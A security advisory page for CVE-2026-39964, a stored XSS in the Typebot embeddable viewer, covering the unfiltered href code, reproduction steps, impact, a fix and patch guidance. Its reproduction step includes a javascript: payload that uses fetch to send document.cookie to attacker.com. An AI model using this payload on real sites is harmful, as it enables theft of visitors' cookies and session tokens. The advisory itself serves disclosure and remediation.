CVE-2026-39964 is a medium-severity (CVSS 5.4) Cross-site Scripting (XSS) vulnerability in @typebot.io/js. A fix is available for @typebot.io/js — see the affected versions and patch details below.
TypeBot: Stored XSS via javascript: URI in text bubble links — bot author executes JS on visitors' browsers
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-39964.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
CVE-2026-39964 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.
Where this sits among everything scored
Of 384,189 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
@typebot.io/jsnpmDescription
Summary
The Typebot viewer (packages/embeds/js) renders anchor tags from rich text bubble content without filtering the javascript: URI scheme. A bot author can set a link URL to javascript:PAYLOAD, which executes in the visitor's browser context when clicked. Since the viewer is typically embedded in a third-party site, the attacker's JavaScript runs in the host page's origin and can exfiltrate cookies and session tokens.
Details
Vulnerable file: packages/embeds/js/src/features/blocks/bubbles/textBubble/components/plate/PlateBlock.tsx
// Line 32 — href set directly from stored bot content, no javascript: filtering
<a href={elementDescendant.url as string} target="_blank" rel="noopener noreferrer">
{elementDescendant.children[0].text}
</a>
SolidJS does not sanitize href attribute values — javascript: URIs pass through to the DOM unchanged.
The same issue exists in ImageBubble.tsx line 102 for image link wrapping.
Steps to Reproduce
1. Log in to Typebot as an authenticated user (any plan)
2. Create a new bot
3. Add a Text Bubble block
4. In the rich text editor, type any link text and set the URL to:
javascript:fetch('https://attacker.com/?c='+document.cookie)
5. Publish the bot and open the live/embedded viewer
6. Click the link in the chatbot interface
7. The JavaScript executes in the browser — cookie exfiltration request sent to attacker.com
Source-verified: PlateBlock.tsx:32 renders <a href={url}> with no scheme filtering. Puppeteer alert confirmed document.domain execution when link clicked.
Impact
- Any authenticated Typebot user (including free tier) can create a bot with this payload
- When shared or embedded in a third-party site, clicking the link executes JS in the host page's origin
- Allows stealing cookies, session tokens, or any data accessible to the embedding page
- Shared bots are publicly accessible — no victim authentication required
Proposed Fix
Filter javascript: URIs before rendering anchor tags:
const safeUrl = (url: string) =>
/^javascript:/i.test(url.trim()) ? '#' : url
<a href={safeUrl(elementDescendant.url as string)} ...>
Alternatively, use a URL allowlist (only https:, http:, mailto:, tel:).
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | @typebot.io/js | all versions | 0.10.1npm install @typebot.io/js@0.10.1 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @typebot.io/js, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update @typebot.io/js to 0.10.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-39964 is resolved across your whole dependency graph.
Workarounds
Escape or sanitise the affected output on the server side rather than relying on client-side filtering, and add a Content-Security-Policy that blocks inline script execution so injected markup cannot run even if it reaches the page.
Frequently Asked Questions
Is CVE-2026-39964 in your dependencies?
Find it across npm, including transitive dependencies.